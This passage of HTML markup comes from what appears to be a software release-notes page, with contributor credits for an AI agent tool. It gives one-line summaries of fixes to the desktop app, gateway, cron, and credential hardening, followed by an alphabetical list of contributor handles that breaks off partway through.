<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a> — desktop provider/model UX, TUI model picker refresh, Windows install/updater hardening</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a> — desktop custom endpoint settings</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a> — unbroker + unreal-mcp skills, humanizer expansion</li>
</ul>
<h3>Top community contributors</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a> — security hardening: Vertex credential/project/region scoping through the profile secret scope, subprocess env stripping, Raft chunked-request body limits</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HexLab98/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HexLab98">@HexLab98</a> — 11 fixes across MCP capability gating, Windows installer PATH, desktop cron editing, gateway systemd warnings</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/UnathiCodex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/UnathiCodex">@UnathiCodex</a> — desktop stability: zoom across display moves, LaTeX rendering, resume-stall and runtime-readiness fixes</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxxigm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxxigm">@xxxigm</a> — <code>&lt;think&gt;</code> leak fix after thinking-only retry flush, dashboard auth/theme/PTY fixes</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erosika/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erosika">@erosika</a> — desktop declarative memory-provider panel + honcho recall/timeout correctness</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Frowtek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Frowtek">@Frowtek</a> — credential security: master stores never mounted into skill sandboxes, live-transcript redaction, dashboard api_key precedence</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/necoweb3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/necoweb3">@necoweb3</a> — browser private-page CDP guard, cron one-shot liveness, gateway compression fail-closed</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DavidMetcalfe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DavidMetcalfe">@DavidMetcalfe</a> — desktop updater version pill, Local/custom endpoint exposure, sidebar collapse behavior</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a> — dashboard: mobile channel setup, Discord toolsets from web UI, Telegram setup clarity</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a> — Gemini request-context improvements</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PRATHAMESH75/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PRATHAMESH75">@PRATHAMESH75</a> — cron one-shot stale-removal race, dashboard multiplex port-binding guard</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alelpoan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alelpoan">@alelpoan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/embwl0x/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/embwl0x">@embwl0x</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adolanium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adolanium">@Adolanium</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giggling-ginger/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giggling-ginger">@giggling-ginger</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Drexuxux/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Drexuxux">@Drexuxux</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frizikk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frizikk">@frizikk</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>, @wesleysimplici, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pierrenode/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pierrenode">@pierrenode</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/simpolism/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/simpolism">@simpolism</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MorAlekss/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MorAlekss">@MorAlekss</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/r266-tech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/r266-tech">@r266-tech</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WadydX/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WadydX">@WadydX</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nv-kasikritc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nv-kasikritc">@nv-kasikritc</a> — targeted fixes across desktop, TUI, gateway, cron, webhook, nix, and browser surfaces</li>
<li>Salvaged-work authors whose PRs were cherry-picked with credit this window: <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Burgunthy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Burgunthy">@Burgunthy</a> (profile routing), <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a> (sessions export), <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a> (1Password), <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Christopher-Schulze/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Christopher-Schulze">@Christopher-Schulze</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ahmett101/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ahmett101">@Ahmett101</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sjiangtao2024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sjiangtao2024">@sjiangtao2024</a>, and many more — see the salvage PR bodies for full attribution</li>
</ul>
<h3>All contributors</h3>
<p><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0-CYBERDYNE-SYSTEMS-0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0-CYBERDYNE-SYSTEMS-0">@0-CYBERDYNE-SYSTEMS-0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0disoft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0disoft">@0disoft</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xbyt4/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xbyt4">@0xbyt4</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/17324393074/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/17324393074">@17324393074</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/2751738943/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/2751738943">@2751738943</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/8294/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/8294">@8294</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/abhibansal-sg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/abhibansal-sg">@abhibansal-sg</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adambiggs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adambiggs">@adambiggs</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adolanium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adolanium">@Adolanium</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aeyeopsdev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aeyeopsdev">@aeyeopsdev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aguung/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aguung">@aguung</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AhmetArif0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AhmetArif0">@AhmetArif0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ahmett101/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ahmett101">@Ahmett101</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-ag2026/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-ag2026">@ai-ag2026</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AIalliAI/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AIalliAI">@AIalliAI</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ajzrva-sys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ajzrva-sys">@ajzrva-sys</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alastraz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alastraz">@alastraz</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alelpoan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alelpoan">@alelpoan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alex-fireworks/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alex-fireworks">@alex-fireworks</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alex-heritier/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alex-heritier">@alex-heritier</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alex107ivanov/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alex107ivanov">@alex107ivanov</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AlexFucuson9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AlexFucuson9">@AlexFucuson9</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Alix-007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Alix-007">@Alix-007</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/allenliang2022/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/allenliang2022">@allenliang2022</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Almurat123/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Almurat123">@Almurat123</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AlsayedHoota/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AlsayedHoota">@AlsayedHoota</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alvarosanchez/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alvarosanchez">@alvarosanchez</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amanning3390/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amanning3390">@amanning3390</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AmAzing129/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AmAzing129">@AmAzing129</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AndreasHiltner/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AndreasHiltner">@AndreasHiltner</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/andrewhomeyer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/andrewhomeyer">@andrewhomeyer</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/annguyenNous/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/annguyenNous">@annguyenNous</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ansel-f/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ansel-f">@ansel-f</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/antydizajn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/antydizajn">@antydizajn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arminanton/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arminanton">@arminanton</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arnispiekus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arnispiekus">@arnispiekus</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/asimons81/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/asimons81">@asimons81</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/asscan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/asscan">@asscan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ats3v/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ats3v">@ats3v</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinlaw076/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinlaw076">@austinlaw076</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/avifenesh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/avifenesh">@avifenesh</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aydnOktay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aydnOktay">@aydnOktay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bartok9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bartok9">@Bartok9</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bautrey/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bautrey">@bautrey</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bbednarski9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bbednarski9">@bbednarski9</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bbopen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bbopen">@bbopen</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bigstar0920/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bigstar0920">@bigstar0920</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/binhnt92/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/binhnt92">@binhnt92</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bird/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bird">@bird</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Black0Fox0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Black0Fox0">@Black0Fox0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BlackishGreen33/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BlackishGreen33">@BlackishGreen33</a>, @bo.fu, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brendandebeasi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brendandebeasi">@brendandebeasi</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/briandevans/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/briandevans">@briandevans</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BROCCOLO1D/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BROCCOLO1D">@BROCCOLO1D</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bruce-anle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bruce-anle">@Bruce-anle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brunz-me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brunz-me">@brunz-me</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Burgunthy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Burgunthy">@Burgunthy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bytesnail/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bytesnail">@bytesnail</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/catbearlove1-lang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/catbearlove1-lang">@catbearlove1-lang</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Cdddo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Cdddo">@Cdddo</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cgarwood82/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cgarwood82">@cgarwood82</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CharmingGroot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CharmingGroot">@CharmingGroot</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chouqin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chouqin">@chouqin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Christopher-Schulze/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Christopher-Schulze">@Christopher-Schulze</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/claudlos/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/claudlos">@claudlos</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CocaKova/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CocaKova">@CocaKova</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Code-suphub/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Code-suphub">@Code-suphub</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CodeForgeNet/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CodeForgeNet">@CodeForgeNet</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/craigdfrench/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/craigdfrench">@craigdfrench</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CrazyBoyM/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CrazyBoyM">@CrazyBoyM</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/crazywriter1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/crazywriter1">@crazywriter1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cresslank/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cresslank">@cresslank</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cruzanstx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cruzanstx">@cruzanstx</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cyrkstudios/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cyrkstudios">@cyrkstudios</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/danilofalcao/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/danilofalcao">@danilofalcao</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/datachainsystems/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/datachainsystems">@datachainsystems</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DatTheMaster/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DatTheMaster">@DatTheMaster</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/davidb73-hub/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/davidb73-hub">@davidb73-hub</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/davidgut1982/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/davidgut1982">@davidgut1982</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DavidMetcalfe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DavidMetcalfe">@DavidMetcalfe</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/davidrobertson/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/davidrobertson">@davidrobertson</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/deacon-botdoctor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/deacon-botdoctor">@deacon-botdoctor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DECK6/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DECK6">@DECK6</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/deepujain/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/deepujain">@deepujain</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/derek2000139/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/derek2000139">@derek2000139</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/designnotdrum/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/designnotdrum">@designnotdrum</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/deusyu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/deusyu">@deusyu</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/devatnull/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/devatnull">@devatnull</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/devorun/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/devorun">@devorun</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dexhunter/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dexhunter">@dexhunter</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dfein38347g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dfein38347g">@dfein38347g</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Dhravya/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Dhravya">@Dhravya</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DictatorBacon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DictatorBacon">@DictatorBacon</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/digitalbase/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/digitalbase">@digitalbase</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dlkakbs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dlkakbs">@dlkakbs</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dmabry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dmabry">@dmabry</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DNAlec/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DNAlec">@DNAlec</a>, <a 